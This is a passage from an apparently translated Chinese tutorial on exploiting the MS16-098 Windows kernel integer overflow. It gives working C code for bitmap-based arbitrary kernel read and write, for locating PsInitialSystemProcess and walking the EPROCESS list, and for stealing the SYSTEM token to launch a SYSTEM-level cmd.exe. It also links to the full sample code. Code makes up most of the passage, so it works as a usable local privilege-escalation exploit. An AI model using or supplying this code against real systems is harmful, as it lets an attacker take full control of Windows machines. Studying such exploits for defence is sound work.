然后,管理器(manager)位圖對象通過SetBitmapBits覆寫工作者位圖對象的pvScan0成員為區(qū)域頭的地址(region header)。然后,工作者(worker)位圖被SetBitmapBits用來設(shè)置該地址指向的數(shù)據(jù)為在第一步驟中讀取的頭部數(shù)據(jù)。對于溢出的位圖對象頭也是這樣。
- void SetAddress(BYTE* address) {
- for (int i = 0; i < sizeof(address); i++) {
- bits[0xdf0 + i] = address[i];
- }
- SetBitmapBits(hManager, 0x1000, bits);
- }
- void WriteToAddress(BYTE* data) {
- SetBitmapBits(hWorker, sizeof(data), data);
- }
- SetAddress(addr1);
- WriteToAddress(Gh05);
Step 7 – 從EPROCESS對象中偷取Token:
這個(gè)過程起始于獲取PsInitialSystemProcess全局變量的內(nèi)核地址,這個(gè)指針指向EPROCESS列表中的第一個(gè)條目,該指針由ntoskrnl.exe導(dǎo)出。
- // Get base of ntoskrnl.exe
- ULONG64 GetNTOsBase()
- {
- ULONG64 Bases[0x1000];
- DWORD needed = 0;
- ULONG64 krnlbase = 0;
- if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) {
- krnlbase = Bases[0];
- }
- return krnlbase;
- }
- // Get EPROCESS for System process
- ULONG64 PsInitialSystemProcess()
- {
- // load ntoskrnl.exe
- ULONG64 ntos = (ULONG64)LoadLibrary("ntoskrnl.exe");
- // get address of exported PsInitialSystemProcess variable
- ULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess");
- FreeLibrary((HMODULE)ntos);
- ULONG64 res = 0;
- ULONG64 ntOsBase = GetNTOsBase();
- // subtract addr from ntos to get PsInitialSystemProcess offset from base
- if (ntOsBase) {
- ReadFromAddress(addr - ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64));
- }
- return res;
- }
PsInitalSystemProcess(譯注:作者起一樣的名字不怕歧義?這里指的是上面代碼中的函數(shù))會把ntoskrnl.exe加載到內(nèi)存中,并使用GetProcAddress獲取導(dǎo)出的PsInitialSystemProcess的地址,然后使用EnumDeviceDrivers()函數(shù)獲取內(nèi)核基址。把PsInitialSystemProcess的值減去內(nèi)核加載基址,就可以得到一個(gè)偏移量,將此偏移量加到檢索到的內(nèi)核基址上就可以得到PsInitialSystemProcess指針的內(nèi)核地址。
- LONG64 PsGetCurrentProcess()
- {
- ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS
- // walk ActiveProcessLinks until we find our Pid
- LIST_ENTRY ActiveProcessLinks;
- ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
- ULONG64 res = 0;
- while (TRUE) {
- ULONG64 UniqueProcessId = 0;
- // adjust EPROCESS pointer for next entry
- pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64);
- // get pid
- ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64));
- // is this our pid?
- if (GetCurrentProcessId() == UniqueProcessId) {
- res = pEPROCESS;
- break;
- }
- // get next entry
- ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
- // if next same as last, we reached the end
- if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64))
- break;
- }
- return res;
- }
然后,它將使用管理器(manager)和工作者(worker)位圖來遍歷EPROCESS列表,查找列表中的當(dāng)前進(jìn)程。找到之后,會通過位圖從EPROCESS列表中的第一個(gè)條目讀取SYSTEM的Token,在EPROCESS列表中寫入當(dāng)前的進(jìn)程。
- // get System EPROCESS
- ULONG64 SystemEPROCESS = PsInitialSystemProcess();
- //fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS);
- ULONG64 CurrentEPROCESS = PsGetCurrentProcess();
- //fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS);
- ULONG64 SystemToken = 0;
- // read token from system process
- ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8);
- // write token to current process
- ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset;
- SetAddress((BYTE *)&CurProccessAddr);
- WriteToAddress((BYTE *)&SystemToken);
- // Done and done. We're System :)
Step 8 – SYSTEM !!
現(xiàn)在,當(dāng)前的進(jìn)程就擁有了SYSTEM令牌,并且會以SYSTEM權(quán)限執(zhí)行。
1system("cmd.exe");
本文示例的下載地址:https://gitlab.sensepost.com/saif/MS16-098_RNGOBJ_Integer_Overflow